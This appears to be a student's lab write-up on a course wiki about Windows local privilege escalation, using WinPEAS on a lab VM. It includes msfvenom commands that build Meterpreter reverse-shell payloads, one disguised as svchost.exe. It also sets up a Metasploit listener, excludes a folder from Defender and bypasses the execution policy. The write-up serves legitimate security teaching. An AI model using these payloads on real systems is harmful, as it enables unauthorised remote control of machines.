Entry 2.2‐ Windows Local Privilege Escalation - 229300/SEC-335-01 GitHub Wiki

Task 1: WinPEAS Enumeration

Objective: Download, verify, and execute WinPEAS on the target system.

Steps:

  • Download the WinPEAS PowerShell script from the official GitHub repository
  1. Exclude the directory so Windows Defender ignores it

Looks like:

  • Open a non-elevated Powershell prompt which is your “champuser” account
  • Change to the directory of the WinPeas Powershell script file.
cd C:\Users\champuser\winpeas

Run the following command to download the WinPEAS PowerShell script directly from the official GitHub repository:

Invoke-WebRequest -Uri "https://raw.githubusercontent.com/carlospolop/PEASS-ng/master/winPEAS/winPEASps1/winPEAS.ps1" -OutFile "winPEAS.ps1"
  • Verify the file hash before execution
Get-FileHash winPEAS.ps1

Looks like:

  • Set the PowerShell execution policy so it bypasses the Current User. Do not enable global “Unrestricted” policies. Using “Bypass” is a technique used by threat actors to run scripts quickly.
Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope CurrentUser -Force
  • Perform the step above before running the script below.
  • Run WinPEAS and capture the output
.\winPEAS.ps1 | Tee-Object -FilePath "winpeas_output_daniels.txt"
This version of the command runs the script live to take my screenshots, then pipe it to a file using Tee-Object, which allows me to see the results live while saving them.

Funny text during test:

Image of test start and color code:

Questions to Answer:

  • What hash algorithm does WinPEAS use for verification? What is the file hash?
  1. WinPEAS uses SHA256 for its verification
  • What does the RED/YELLOW/GREEN color coding indicate?

The colors indicate:

  • How long did the full scan take? What factors affect scan duration?
  1. It took about 8-10 minutes to get to this screen, then it wouldn't move for hours:

Task 2: Setup Vulnerable VM

Objective: Setup insecure settings on Windows 10 VM that allow local privilege escalation

  1. Download the winlocalpriv_escalation.zip file from Canvas. Password for the archive is: password
  2. Unzip the file (Compressed zipped folder):
  • Locate the file in my Downloads
  • Right-click the .zip file and select Extract All... --> Extract
  1. Open an Elevated PowerShell Prompt
  2. Navigate to regular file explorer window and open the unzipped folder
  • Looks like:
  1. Back to Powershell and type:
cd "C:\Users\champuser\Downloads\localpriv"
  1. Looks like:
  • Document the bypass method:

  • Document the 10 vulnerabilities to explain how it elevates privileges. This should explain what specific weakness is being exploited:

  • Image 1:

  • Image 2:

Task 4: Exploitation

Objective: Create a payload with msfvenom, start a Metasploit listener, and Elevate ‘champuser’ to the SYSTEM context.

On Kali

Objective: Create malicious payloads (a malicious file - executable, web script, etc.) and listener.

Creating a RAT

  1. Open Command Prompt
  2. Check IP Address
  • Type:
ip -br addr
  • Output:
  • I have 2 IPs I need to see which one can reach my Windows VM
  • My Windows VM IP is 10.0.17.50, the command is:
ip route get 10.0.17.50
  • Output:
  1. Execute the RAT disguised as a normal executable
  • Type:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.17.25 LPORT=1023 -f exe > svchost.exe

Malicious Windows Service

Objective: Create a RAT disguised as a malicious service.

  • Type:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -f exe-service > missing.exe

Setup c2 Listener using Metasploit

On Kali, set up a Metasploit listener.

  1. Launch msfconsole
  • Type:
msfconsole -q
  1. Then type the commands below:
use exploit/multi/handler
The prompt will show: msf exploit(multi/handler) >
set payload windows/meterpreter/reverse_tcp

show options
(USE IT, IT'S AWESOME!! /\/ show options is not imperative, but good command to run to know what you can configure or what the default options are for the payload)
set LHOST 10.0.17.25

set LPORT 1023

exploit -j
  1. Outpout of exploit -j:
  1. My handler is up and waiting. I can double check it's still alive anytime with the command. Should display 0:
jobs
  • Output:

Videos: